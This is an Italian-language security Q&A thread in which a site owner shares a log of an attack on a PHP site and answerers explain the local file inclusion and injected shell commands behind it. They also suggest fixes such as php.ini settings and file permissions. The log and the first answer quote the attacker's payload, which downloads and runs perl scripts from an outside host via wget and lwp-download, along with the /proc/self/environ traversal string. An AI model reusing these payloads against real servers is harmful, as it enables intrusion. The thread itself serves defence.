Come trovare e proteggere contro la vulnerabilità sfruttata in un'applicazione PHP basata sull'URL registrato?

4

Sono stato attaccato su un server host condiviso e hanno detto che dovevo configurare il mio file php.ini correttamente.

Ho un piccolo programma PHP / MySQL con una funzione di registrazione, un piccolo sito di amministrazione.

Tuttavia, qualcuno l'ha hackerato. Qualsiasi aiuto sarebbe molto apprezzato con php.ini.

Ecco cosa ho ottenuto dal provider di webhost:

121.254.216.170 - - [12/Sep/2011:05:21:07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http ://some . thesome . com/etc/cup.txt;perl cup.txt;rm -rf .txt;wget http ://some . thesome . com/etc/update.txt;perl update.txt;rm -rf .txt'); echo \"#j13mb0t\"; ?>"

Poiché lo script injection attacca il codice del sito stesso, è in grado di evitare completamente la sicurezza del server web. Sfortunatamente, alcuni sistemi di gestione dei contenuti (specialmente le versioni più vecchie di Joomla) sono estremamente suscettibili a questa forma di attacco.

Un modo semplice per rimuovere la possibilità per gli aggressori di utilizzare questo metodo è di aggiungere un file php.ini al livello più alto del sito web con i seguenti contenuti - essere consapevoli che il sito Web necessiterà di test in seguito per garantire che nessuna modifica delle azioni di scripting del sito Web legittima è stata influenzata dalla modifica:

Le direttive php.ini sono:

allow_url_include = "0"
allow_url_fopen = "0"
    
posta Andras Sebestyen 12.09.2011 - 23:56
fonte

2 risposte

5

Anche se le impostazioni suggerite sono buone a meno che la funzionalità disabilitata sia effettivamente necessaria, probabilmente non avrebbero impedito questo tipo di attacco:

Vettore di attacco

http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;
cd /tmp;
lwp-download http://some.thesome.com/etc/cup.txt
perl cup.txt
rm -rf .txt
wget http ://some.thesome.com/etc/update.txt;
perl update.txt;
rm -rf .txt
');
echo \"#j13mb0t\";
?>"

Vulnerabilità

C'è un codice PHP che scrive un altro file PHP, molto probabilmente un modo per cambiare una configurazione usando l'interfaccia web. La configurazione è memorizzata come codice PHP.

Il meccanismo scrive qualcosa di simile a

shell_exec('wget '.$untrustedUserInput.' something else');

$untrustedUserInput è la stringa che ho riportato sopra con interruzioni di riga appropriate per una lettura più semplice.

Dato l'URL di attacco nell'intestazione Refer , è possibile che la motivazione per il codice non sia un meccanismo di configurazione ma per creare un archivio di pagine da cui le persone sono collegate al tuo sito web.

Risultato

Quindi il risultato è simile a

shell_exec('wget http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;
cd /tmp;
lwp-download http://some.thesome.com/etc/cup.txt
perl cup.txt
rm -rf .txt
wget http ://some.thesome.com/etc/update.txt;
perl update.txt;
rm -rf .txt
');
echo \"#j13mb0t\";
?>
".' something else');

Nota ?> per impedire che "qualcos'altro" venga visto come codice PHP.

Contromisure

Se possibile, imposta le autorizzazioni del file system per non consentire al server web di scrivere file in qualsiasi directory da cui eseguono i file PHP. Potrebbe essere necessario fornire temporaneamente autorizzazioni di scrittura per le modifiche alla configurazione su file specifici, ma dovrebbe rimuoverlo dopo le modifiche. Prestare particolare attenzione a mettere le cartelle di caricamento all'esterno della web root.

Assicurati di installare aggiornamenti di sicurezza di software di terze parti, come PhpMyAdmin, Wordpress compresi i plug-in molto rapidamente dopo il rilascio. Iscriviti alle mailing list in cui sono annunciati tali aggiornamenti.

Fai eseguire un controllo sul tuo codice. Se ciò non è possibile perché è troppo costoso, per lo meno scopri i problemi di sicurezza comuni nel codice PHP. I OWASP PHP Top 5 sono un buon punto di partenza.

    
risposta data 13.09.2011 - 08:38
fonte
2

La cosa migliore che puoi fare è correggere lo script PHP, in modo che LFI non sia più possibile. Puoi modificare le impostazioni per rendere più difficile lo sfruttamento, ma dovresti risolvere il problema alla radice: lo script che utilizza il parametro 'p' per includere i file.

Inoltre, è possibile impostare allow_url_include e allow_url_fopen. Ti consigliamo di impostare anche open_basedir (controlla link ).

    
risposta data 13.09.2011 - 07:25
fonte

Leggi altre domande sui tag